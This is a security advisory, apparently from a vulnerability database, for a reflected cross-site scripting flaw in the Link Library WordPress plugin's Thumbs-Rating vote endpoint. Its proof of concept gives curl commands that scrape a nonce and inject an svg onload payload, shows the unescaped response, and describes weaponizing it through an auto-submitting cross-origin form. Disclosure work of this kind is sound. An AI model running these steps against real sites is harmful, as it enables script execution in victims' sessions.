Link Library < 7.9.4 – Reflected XSS via Thumbs-Rating likelabel | CVE 2026-16535

Description

The plugin does not sanitise and escape a parameter before reflecting it back in a response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against users who can be tricked into performing an action.

Proof of Concept

Reflected XSS via the bundled Thumbs-Rating vote endpoint. Unauthenticated, no cookies. Affects <= 7.9.3 (current; unfixed).

1) Scrape the anonymous thumbs-rating nonce from any front-end page (localized into thumbs_rating_ajax for logged-out visitors):
   curl -s 'https://victim.example/' | grep -oE 'thumbs_rating_ajax = \{[^}]*"nonce":"[a-f0-9]+"'
   -> ..."nonce":"507ea45707"

2) Send the unauthenticated vote request with a script payload in likelabel:
   curl -s 'https://victim.example/wp-admin/admin-ajax.php' \
     --data-urlencode 'action=thumbs_rating_add_vote' \
     --data-urlencode 'nonce=507ea45707' \
     --data-urlencode 'postid=1' \
     --data-urlencode 'type=1' \
     --data-urlencode 'likelabel=<svg onload=alert(document.domain)>'

The response (Content-Type: text/html) reflects the payload unescaped, in both an HTML text node and an onclick attribute:
   <span class="likebtn-label lb-like-label"><svg onload=alert(document.domain)></span>

Weaponization: the attacker hosts an auto-submitting cross-origin form POSTing the fields above (nonce pre-scraped) to admin-ajax.php; when a victim visits, the reflected HTML renders and executes in the victim's session. The HTML-text-context payload needs no quotes, so magic-quotes does not blunt it.